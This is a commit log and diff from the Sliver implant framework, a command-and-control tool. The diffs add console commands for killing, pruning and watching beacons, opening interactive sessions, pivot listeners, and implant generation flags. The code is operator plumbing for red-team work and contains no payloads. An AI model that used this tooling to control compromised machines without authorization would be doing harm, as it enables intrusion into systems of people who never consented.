rkervella d2297f9423 Revert "Escape string before JSON parsing"
This reverts commit 1549b894fa.
2021-09-10 16:13:47 +02:00
rkervella de7fd664cd Refactoring 2021-09-10 15:25:05 +02:00
rkervella 1549b894fa Escape string before JSON parsing 2021-09-10 13:39:59 +02:00
rkervella 32119e09dc Add PID to bof result 2021-09-10 12:31:26 +02:00
rkervella 4dd5319987 Check for nil pointer 2021-09-10 11:06:46 +02:00
rkervella 860452c418 Removed comment 2021-09-10 10:51:55 +02:00
rkervella 4d64866a15 Remove commented code 2021-09-09 10:19:27 +02:00
rkervella 1d859f99c8 Initial BOF support for Prelude Operator 2021-09-08 13:55:31 +02:00
rkervella c3f5f2bf85 Remove logging 2021-09-05 10:53:37 +02:00
1492 changed files with 2843998 additions and 25809 deletions

No files matched your search

+2 -1
View File
@@ -24,9 +24,10 @@ Contributing to Sliver
* _Never_ use homegrown or non-peer reviewed encryption or random number generation algorithms.
* Whenever possible, use the following algorithms/encryption modes:
- AES-GCM-256
- RSA-OAEP-2048 / RSA-OAEP-4096
- SHA2-256 / HMAC-SHA2-256 or higher (e.g. SHA2-384)
- Curves P521, P384, P256
- Curve25519, XSalsa20, and Poly1305 (Nacl)
- ChaCha20Poly1305
* _Never_ use the following in a security context, and _avoid_ use even in a non-security context:
- MD5
- SHA1
+1 -1
View File
@@ -1,4 +1,4 @@
FROM golang:1.17
FROM golang:1.17.5
#
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
+15 -26
View File
@@ -3,8 +3,8 @@
#
GO ?= go
ENV = CGO_ENABLED=1
TAGS = -tags osusergo,netgo,sqlite_omit_load_extension
ENV =
TAGS = -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
#
# Version Information
@@ -41,42 +41,31 @@ UNAME_P := $(shell uname -p)
# If the target is Windows from Linux/Darwin, check for mingw
CROSS_COMPILERS = x86_64-w64-mingw32-gcc x86_64-w64-mingw32-g++
ifneq (,$(findstring cgosqlite,$(TAGS)))
ENV +=CGO_ENABLED=1
ifeq ($(MAKECMDGOALS), windows)
K := $(foreach exec,$(CROSS_COMPILERS),\
$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
endif
endif
# Programs required for generating protobuf/grpc files
PB_COMPILERS = protoc protoc-gen-go protoc-gen-go-grpc
ifeq ($(MAKECMDGOALS), pb)
K := $(foreach exec,$(PB_COMPILERS),\
$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
$(if $(shell which $(exec)),some string,$(error "Missing protobuf util $(exec) in PATH")))
endif
# *** Start Darwin ***
# *** Darwin ***
ifeq ($(UNAME_S),Darwin)
SED_INPLACE := sed -i ''
STATIC_TARGET := macos
endif
ifeq ($(UNAME_P),arm)
ENV += GOARCH=arm64
endif
ifeq ($(MAKECMDGOALS), windows)
K := $(foreach exec,$(CROSS_COMPILERS),\
$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
endif
endif
# *** End Darwin ***
# *** Start Linux ***
ifeq ($(UNAME_S),Linux)
ifeq ($(MAKECMDGOALS), windows)
K := $(foreach exec,$(CROSS_COMPILERS),\
$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
endif
endif
ifeq ($(MAKECMDGOALS), linux)
# Redefine LDFLAGS to add the static part
LDFLAGS = -ldflags "-s -w \
@@ -88,7 +77,6 @@ ifeq ($(MAKECMDGOALS), linux)
-X $(PKG).GitCommit=$(GIT_COMMIT) \
-X $(PKG).GitDirty=$(GIT_DIRTY)"
endif
# *** End Linux ***
#
# Targets
@@ -123,6 +111,7 @@ pb:
protoc -I protobuf/ protobuf/commonpb/common.proto --go_out=paths=source_relative:protobuf/
protoc -I protobuf/ protobuf/sliverpb/sliver.proto --go_out=paths=source_relative:protobuf/
protoc -I protobuf/ protobuf/clientpb/client.proto --go_out=paths=source_relative:protobuf/
protoc -I protobuf/ protobuf/dnspb/dns.proto --go_out=paths=source_relative:protobuf/
protoc -I protobuf/ protobuf/rpcpb/services.proto --go_out=paths=source_relative:protobuf/ --go-grpc_out=protobuf/ --go-grpc_opt=paths=source_relative
.PHONY: clean-all
@@ -136,4 +125,4 @@ clean-all: clean
.PHONY: clean
clean:
rm -f sliver-client_arm64 sliver-server_arm64
rm -f sliver-client sliver-server *.exe
rm -f sliver-client sliver-server sliver-*.exe
+4 -1
View File
@@ -20,9 +20,11 @@ The server and client support MacOS, Windows, and Linux. Implants are supported
* Local and remote process injection
* Windows process migration
* Windows user token manipulation
* Anti-anti-anti-forensics
* Anti-fingerprinting features
* Let's Encrypt integration
* In-memory .NET assembly execution
* COFF/BOF in-memory loader
* Much more!
### Getting Started
@@ -43,3 +45,4 @@ See the [wiki](https://github.com/BishopFox/sliver/wiki/Compile-From-Source).
### License - GPLv3
Sliver is licensed under [GPLv3](https://www.gnu.org/licenses/gpl-3.0.en.html), some sub-components may have separate licenses. See their respective subdirectories in this project for details.
+1
View File
@@ -40,6 +40,7 @@ type ClientConfig struct {
Operator string `json:"operator"` // This value is actually ignored for the most part (cert CN is used instead)
LHost string `json:"lhost"`
LPort int `json:"lport"`
Token string `json:"token"`
CACertificate string `json:"ca_certificate"`
PrivateKey string `json:"private_key"`
Certificate string `json:"certificate"`
+112 -46
View File
@@ -24,16 +24,54 @@ import (
"strings"
"time"
"github.com/bishopfox/sliver/client/command/kill"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
"golang.org/x/crypto/ssh/terminal"
)
// BeaconsCmd - Display/interact with beacons
func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
killFlag := ctx.Flags.String("kill")
killAll := ctx.Flags.Bool("kill-all")
// Handle kill
if killFlag != "" {
beacon, err := GetBeacon(con, killFlag)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
err = kill.KillBeacon(beacon, false, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.Println()
con.PrintInfof("Killed %s (%s)\n", beacon.Name, beacon.ID)
}
if killAll {
beacons, err := GetBeacons(con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
for _, beacon := range beacons.Beacons {
err = kill.KillBeacon(beacon, true, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.Println()
con.PrintInfof("Killed %s (%s)\n", beacon.Name, beacon.ID)
}
}
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
@@ -43,61 +81,89 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
PrintBeacons(beacons.Beacons, con)
}
// BeaconsRmCmd - Display/interact with beacons
func BeaconsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
beacon, err := SelectBeacon(con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
_, err = con.Rpc.RmBeacon(context.Background(), beacon)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Beacon removed (%s)\n", beacon.ID)
}
// PrintBeacons - Display a list of beacons
func PrintBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) {
if len(beacons) == 0 {
con.PrintInfof("No beacons 🙁\n")
return
}
tw := renderBeacons(beacons, con)
con.Printf("%s\n", tw.Render())
}
func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) table.Writer {
width, _, err := terminal.GetSize(0)
if err != nil {
width = 999
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"ID",
"Name",
"Tasks",
"Transport",
"Remote Address",
"Hostname",
"Username",
"Operating System",
"Last Check-in",
"Next Check-in",
})
for _, beacon := range beacons {
next := time.Unix(beacon.NextCheckin, 0).Format(time.RFC1123)
if time.Unix(beacon.NextCheckin, 0).Before(time.Now()) {
next = fmt.Sprintf("%s%s%s", console.Bold+console.Red, next, console.Normal)
}
tw.AppendRow(table.Row{
strings.Split(beacon.ID, "-")[0],
beacon.Name,
fmt.Sprintf("%d / %d", beacon.TasksCountCompleted, beacon.TasksCount),
beacon.Transport,
beacon.RemoteAddress,
beacon.Hostname,
beacon.Username,
fmt.Sprintf("%s/%s", beacon.OS, beacon.Arch),
time.Unix(beacon.LastCheckin, 0).Format(time.RFC1123),
next,
if 182 < width {
tw.AppendHeader(table.Row{
"ID",
"Name",
"Tasks",
"Transport",
"Remote Address",
"Hostname",
"Username",
"Operating System",
"Last Check-in",
"Next Check-in",
})
} else {
tw.AppendHeader(table.Row{
"ID",
"Name",
"Transport",
"Username",
"Operating System",
"Last Check-in",
"Next Check-in",
})
}
con.Printf("%s\n", tw.Render())
for _, beacon := range beacons {
color := console.Normal
activeBeacon := con.ActiveTarget.GetBeacon()
if activeBeacon != nil && activeBeacon.ID == beacon.ID {
color = console.Green
}
nextCheckin := time.Unix(beacon.NextCheckin, 0)
var next string
if time.Unix(beacon.NextCheckin, 0).Before(time.Now()) {
past := time.Now().Sub(nextCheckin)
next = fmt.Sprintf("%s-%s%s", console.Bold+console.Red, past, console.Normal)
} else {
eta := nextCheckin.Sub(time.Now())
next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, eta, console.Normal)
}
if 182 < width {
tw.AppendRow(table.Row{
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
fmt.Sprintf(color+"%d/%d"+console.Normal, beacon.TasksCountCompleted, beacon.TasksCount),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
fmt.Sprintf(color+"%s"+console.Normal, beacon.RemoteAddress),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Username),
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
fmt.Sprintf(color+"%s ago"+console.Normal, time.Now().Sub(time.Unix(beacon.LastCheckin, 0))),
next,
})
} else {
tw.AppendRow(table.Row{
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Username),
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
fmt.Sprintf(color+"%s ago"+console.Normal, time.Now().Sub(time.Unix(beacon.LastCheckin, 0))),
next,
})
}
}
return tw
}
+29
View File
@@ -38,6 +38,8 @@ var (
ErrNoBeacons = errors.New("no beacons")
// ErrNoSelection - No selection made
ErrNoSelection = errors.New("no selection")
// ErrBeaconNotFound
ErrBeaconNotFound = errors.New("no beacon found for this ID")
)
// SelectBeacon - Interactive menu for the user to select an session, optionally only display live sessions
@@ -97,3 +99,30 @@ func SelectBeacon(con *console.SliverConsoleClient) (*clientpb.Beacon, error) {
}
return nil, ErrNoSelection
}
func GetBeacon(con *console.SliverConsoleClient, beaconID string) (*clientpb.Beacon, error) {
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, err
}
if len(beacons.Beacons) == 0 {
return nil, ErrNoBeacons
}
for _, beacon := range beacons.Beacons {
if beacon.ID == beaconID {
return beacon, nil
}
}
return nil, ErrBeaconNotFound
}
func GetBeacons(con *console.SliverConsoleClient) (*clientpb.Beacons, error) {
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, err
}
if len(beacons.Beacons) == 0 {
return nil, ErrNoBeacons
}
return beacons, nil
}
+85
View File
@@ -0,0 +1,85 @@
package beacons
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"time"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
)
// BeaconsPruneCmd - Prune stale beacons automatically
func BeaconsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
pruneDuration, err := time.ParseDuration(ctx.Flags.String("duration"))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Pruning beacons that missed their last checking by %s or more...\n\n", pruneDuration)
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
pruneBeacons := []*clientpb.Beacon{}
for _, beacon := range beacons.Beacons {
nextCheckin := time.Unix(beacon.NextCheckin, 0)
if time.Now().Before(nextCheckin) {
continue
}
delta := time.Now().Sub(nextCheckin)
if pruneDuration <= delta {
pruneBeacons = append(pruneBeacons, beacon)
}
}
if len(pruneBeacons) == 0 {
con.PrintInfof("No beacons to prune.\n")
return
}
con.PrintWarnf("The following beacons and their tasks will be removed:\n")
for index, beacon := range pruneBeacons {
beacon, err := con.Rpc.GetBeacon(context.Background(), &clientpb.Beacon{ID: beacon.ID})
if err != nil {
con.PrintErrorf("%s\n", err)
continue
}
con.Printf("\t%d. %s (%s)\n", (index + 1), beacon.Name, beacon.ID)
}
con.Println()
confirm := false
prompt := &survey.Confirm{Message: "Prune these beacons?"}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
errCount := 0
for _, beacon := range pruneBeacons {
_, err := con.Rpc.RmBeacon(context.Background(), &clientpb.Beacon{ID: beacon.ID})
if err != nil {
con.PrintErrorf("%s\n", err)
errCount++
}
}
con.PrintInfof("Pruned %d beacon(s)\n", len(pruneBeacons)-errCount)
}
+41
View File
@@ -0,0 +1,41 @@
package beacons
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
)
// BeaconsRmCmd - Display/interact with beacons
func BeaconsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
beacon, err := SelectBeacon(con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
_, err = con.Rpc.RmBeacon(context.Background(), beacon)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Beacon removed (%s)\n", beacon.ID)
}
+67
View File
@@ -0,0 +1,67 @@
package beacons
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"strings"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
)
// BeaconsWatchCmd - Watch your beacons in real-ish time
func BeaconsWatchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
done := waitForInput()
defer func() {
con.Printf(console.UpN+console.Clearln+"\r", 1)
con.Printf(console.UpN+console.Clearln+"\r", 1)
}()
for {
select {
case <-done:
return
case <-time.After(time.Second):
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
panic(err) // If we return we may leak the waiting goroutine, so we panic instead
}
tw := renderBeacons(beacons.Beacons, con)
lines := strings.Split(tw.Render(), "\n")
for _, line := range lines {
con.Printf(console.Clearln+"\r%s\n", line)
}
con.Printf("\nPress enter to stop.\n")
con.Printf(console.UpN+"\r", len(lines)+2)
}
}
}
func waitForInput() <-chan bool {
done := make(chan bool)
go func() {
defer close(done)
fmt.Scanf("\n")
done <- true
}()
return done
}
+224 -28
View File
@@ -36,6 +36,8 @@ package command
import (
"os"
"github.com/bishopfox/sliver/client/command/socks"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/backdoor"
"github.com/bishopfox/sliver/client/command/beacons"
@@ -49,6 +51,7 @@ import (
"github.com/bishopfox/sliver/client/command/hosts"
"github.com/bishopfox/sliver/client/command/info"
"github.com/bishopfox/sliver/client/command/jobs"
"github.com/bishopfox/sliver/client/command/kill"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/command/macros"
"github.com/bishopfox/sliver/client/command/monitor"
@@ -189,8 +192,9 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Int("l", "lport", generate.DefaultWGLPort, "udp listen port")
f.Int("n", "nport", generate.DefaultWGNPort, "virtual tun interface listen port")
f.Int("x", "key-port", generate.DefaultWGKeyExPort, "virtual tun interface key exchange port")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("p", "persistent", false, "make persistent across restarts")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
@@ -232,6 +236,9 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("w", "website", "", "website name (see websites cmd)")
f.String("L", "lhost", "", "interface to bind server to")
f.Int("l", "lport", generate.DefaultHTTPLPort, "tcp listen port")
f.Bool("D", "disable-otp", false, "disable otp authentication")
f.String("T", "long-poll-timeout", "1m30s", "server-side long poll timeout")
f.String("J", "long-poll-jitter", "30s", "server-side long poll jitter")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("p", "persistent", false, "make persistent across restarts")
@@ -254,10 +261,12 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("w", "website", "", "website name (see websites cmd)")
f.String("L", "lhost", "", "interface to bind server to")
f.Int("l", "lport", generate.DefaultHTTPSLPort, "tcp listen port")
f.Bool("D", "disable-otp", false, "disable otp authentication")
f.String("T", "long-poll-timeout", "1m30s", "server-side long poll timeout")
f.String("J", "long-poll-jitter", "30s", "server-side long poll jitter")
f.String("c", "cert", "", "PEM encoded certificate file")
f.String("k", "key", "", "PEM encoded private key file")
f.Bool("e", "lets-encrypt", false, "attempt to provision a let's encrypt certificate")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
@@ -392,7 +401,7 @@ func BindCommands(con *console.SliverConsoleClient) {
LongHelp: help.GetHelpFor([]string{consts.KillStr}),
Run: func(ctx *grumble.Context) error {
con.Println()
sessions.KillCmd(ctx, con)
kill.KillCmd(ctx, con)
con.Println()
return nil
},
@@ -404,6 +413,32 @@ func BindCommands(con *console.SliverConsoleClient) {
HelpGroup: consts.SliverHelpGroup,
})
openSessionCmd := &grumble.Command{
Name: consts.InteractiveStr,
Help: "Task a beacon to open an interactive session (Beacon only)",
LongHelp: help.GetHelpFor([]string{consts.InteractiveStr}),
Flags: func(f *grumble.Flags) {
f.String("m", "mtls", "", "mtls connection strings")
f.String("g", "wg", "", "wg connection strings")
f.String("b", "http", "", "http(s) connection strings")
f.String("n", "dns", "", "dns connection strings")
f.String("p", "named-pipe", "", "named-pipe connection strings")
f.String("i", "tcp-pivot", "", "tcp-pivot connection strings")
f.String("d", "delay", "0s", "delay opening the session (after checkin) for a given period of time")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
sessions.InteractiveCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
}
con.App.AddCommand(openSessionCmd)
// [ Tasks ] --------------------------------------------------------------
tasksCmd := &grumble.Command{
@@ -411,6 +446,10 @@ func BindCommands(con *console.SliverConsoleClient) {
Help: "Beacon task management",
LongHelp: help.GetHelpFor([]string{consts.TasksStr}),
Flags: func(f *grumble.Flags) {
f.Bool("O", "overflow", false, "overflow terminal width (display truncated rows)")
f.Int("S", "skip-pages", 0, "skip the first n page(s)")
f.String("f", "filter", "", "filter based on task type (case-insensitive prefix matching)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
@@ -421,6 +460,28 @@ func BindCommands(con *console.SliverConsoleClient) {
},
HelpGroup: consts.GenericHelpGroup,
}
tasksCmd.AddCommand(&grumble.Command{
Name: consts.FetchStr,
Help: "Fetch the details of a beacon task",
LongHelp: help.GetHelpFor([]string{consts.TasksStr, consts.FetchStr}),
Flags: func(f *grumble.Flags) {
f.Bool("O", "overflow", false, "overflow terminal width (display truncated rows)")
f.Int("S", "skip-pages", 0, "skip the first n page(s)")
f.String("f", "filter", "", "filter based on task type (case-insensitive prefix matching)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.String("id", "beacon task ID", grumble.Default(""))
},
Run: func(ctx *grumble.Context) error {
con.Println()
tasks.TasksFetchCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
con.App.AddCommand(tasksCmd)
// [ Use ] --------------------------------------------------------------
@@ -441,6 +502,9 @@ func BindCommands(con *console.SliverConsoleClient) {
con.Println()
return nil
},
Completer: func(prefix string, args []string) []string {
return use.Completer(con, prefix, args)
},
HelpGroup: consts.GenericHelpGroup,
}
useCmd.AddCommand(&grumble.Command{
@@ -673,11 +737,11 @@ func BindCommands(con *console.SliverConsoleClient) {
LongHelp: help.GetHelpFor([]string{consts.ExecuteStr}),
Flags: func(f *grumble.Flags) {
f.Bool("T", "token", false, "execute command with current token (windows only)")
f.Bool("s", "silent", false, "don't print the command output")
f.Bool("o", "output", false, "capture command output")
f.Bool("X", "loot", false, "save output as loot")
f.Bool("S", "ignore-stderr", false, "don't print STDERR output")
f.String("o", "stdout", "", "remote path to redirect STDOUT to")
f.String("e", "stderr", "", "remote path to redirect STDERR to")
f.String("O", "stdout", "", "remote path to redirect STDOUT to")
f.String("E", "stderr", "", "remote path to redirect STDERR to")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -961,8 +1025,8 @@ func BindCommands(con *console.SliverConsoleClient) {
Flags: func(f *grumble.Flags) {
f.Int64("D", "days", 0, "beacon interval days")
f.Int64("H", "hours", 0, "beacon interval hours")
f.Int64("M", "minutes", 15, "beacon interval minutes")
f.Int64("S", "seconds", 0, "beacon interval seconds")
f.Int64("M", "minutes", 0, "beacon interval minutes")
f.Int64("S", "seconds", 60, "beacon interval seconds")
f.Int64("J", "jitter", 30, "beacon interval jitter in seconds")
// Generate flags
@@ -1126,7 +1190,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
f.Int("P", "poll", generate.DefaultPollTimeout, "attempt to poll every n second(s)")
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "attempt to poll every n second(s)")
f.String("w", "limit-datetime", "", "limit execution to before datetime")
f.Bool("x", "limit-domainjoined", false, "limit execution to domain joined machines")
@@ -1136,7 +1200,8 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
f.String("N", "profile-name", "", "profile name")
f.String("R", "profile-name", "", "profile name")
f.String("N", "name", "", "agent name")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -1394,6 +1459,8 @@ func BindCommands(con *console.SliverConsoleClient) {
Help: "View network interface configurations",
LongHelp: help.GetHelpFor([]string{consts.IfconfigStr}),
Flags: func(f *grumble.Flags) {
f.Bool("A", "all", false, "show all network adapters (default only shows IPv4)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
@@ -1437,6 +1504,8 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("e", "exe", "", "filter based on executable name")
f.String("o", "owner", "", "filter based on owner")
f.Bool("c", "print-cmdline", false, "print command line arguments")
f.Bool("O", "overflow", false, "overflow terminal width (display truncated rows)")
f.Int("S", "skip-pages", 0, "skip the first n page(s)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -1456,6 +1525,8 @@ func BindCommands(con *console.SliverConsoleClient) {
Flags: func(f *grumble.Flags) {
f.Int("p", "pid", -1, "target pid")
f.String("n", "name", "", "target process name")
f.String("s", "save", "", "save to file (will overwrite if exists)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
@@ -1686,6 +1757,7 @@ func BindCommands(con *console.SliverConsoleClient) {
Help: "Take a screenshot",
LongHelp: help.GetHelpFor([]string{consts.ScreenshotStr}),
Flags: func(f *grumble.Flags) {
f.String("s", "save", "", "save to file (will overwrite if exists)")
f.Bool("X", "loot", false, "save output as loot")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
@@ -1728,9 +1800,11 @@ func BindCommands(con *console.SliverConsoleClient) {
Help: "Manage beacons",
LongHelp: help.GetHelpFor([]string{consts.BeaconsStr}),
Flags: func(f *grumble.Flags) {
f.String("k", "kill", "", "kill a beacon")
f.Bool("K", "kill-all", false, "kill all beacons")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
HelpGroup: consts.SliverWinHelpGroup,
HelpGroup: consts.GenericHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
beacons.BeaconsCmd(ctx, con)
@@ -1753,6 +1827,38 @@ func BindCommands(con *console.SliverConsoleClient) {
return nil
},
})
beaconsCmd.AddCommand(&grumble.Command{
Name: consts.WatchStr,
Help: "Watch your beacons",
LongHelp: help.GetHelpFor([]string{consts.BeaconsStr, consts.WatchStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
HelpGroup: consts.SliverWinHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
beacons.BeaconsWatchCmd(ctx, con)
con.Println()
return nil
},
})
beaconsCmd.AddCommand(&grumble.Command{
Name: consts.PruneStr,
Help: "Prune stale beacons automatically",
LongHelp: help.GetHelpFor([]string{consts.BeaconsStr, consts.PruneStr}),
Flags: func(f *grumble.Flags) {
f.String("d", "duration", "1h", "duration to prune beacons that have missed their last checkin")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
HelpGroup: consts.SliverWinHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
beacons.BeaconsPruneCmd(ctx, con)
con.Println()
return nil
},
})
con.App.AddCommand(beaconsCmd)
// [ Macros ] ---------------------------------------------
@@ -1963,10 +2069,10 @@ func BindCommands(con *console.SliverConsoleClient) {
// [ Pivots ] --------------------------------------------------------------
con.App.AddCommand(&grumble.Command{
Name: consts.PivotsListStr,
Help: "List pivots",
LongHelp: help.GetHelpFor([]string{consts.PivotsListStr}),
pivotsCmd := &grumble.Command{
Name: consts.PivotsStr,
Help: "List pivots for active session",
LongHelp: help.GetHelpFor([]string{consts.PivotsStr}),
Run: func(ctx *grumble.Context) error {
con.Println()
pivots.PivotsCmd(ctx, con)
@@ -1975,40 +2081,78 @@ func BindCommands(con *console.SliverConsoleClient) {
},
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.String("i", "id", "", "session id")
},
HelpGroup: consts.SliverHelpGroup,
})
}
con.App.AddCommand(pivotsCmd)
con.App.AddCommand(&grumble.Command{
pivotsCmd.AddCommand(&grumble.Command{
Name: consts.NamedPipeStr,
Help: "Start a named pipe pivot listener",
LongHelp: help.GetHelpFor([]string{consts.NamedPipeStr}),
LongHelp: help.GetHelpFor([]string{consts.PivotsStr, consts.NamedPipeStr}),
Flags: func(f *grumble.Flags) {
f.String("n", "name", "", "name of the named pipe")
f.String("b", "bind", "", "name of the named pipe to bind pivot listener")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
pivots.NamedPipeListenerCmd(ctx, con)
pivots.StartNamedPipeListenerCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
con.App.AddCommand(&grumble.Command{
pivotsCmd.AddCommand(&grumble.Command{
Name: consts.TCPListenerStr,
Help: "Start a TCP pivot listener",
LongHelp: help.GetHelpFor([]string{consts.TCPListenerStr}),
LongHelp: help.GetHelpFor([]string{consts.PivotsStr, consts.TCPListenerStr}),
Flags: func(f *grumble.Flags) {
f.String("s", "server", "0.0.0.0", "interface to bind server to")
f.Int("l", "lport", generate.DefaultTCPPivotPort, "tcp listen port")
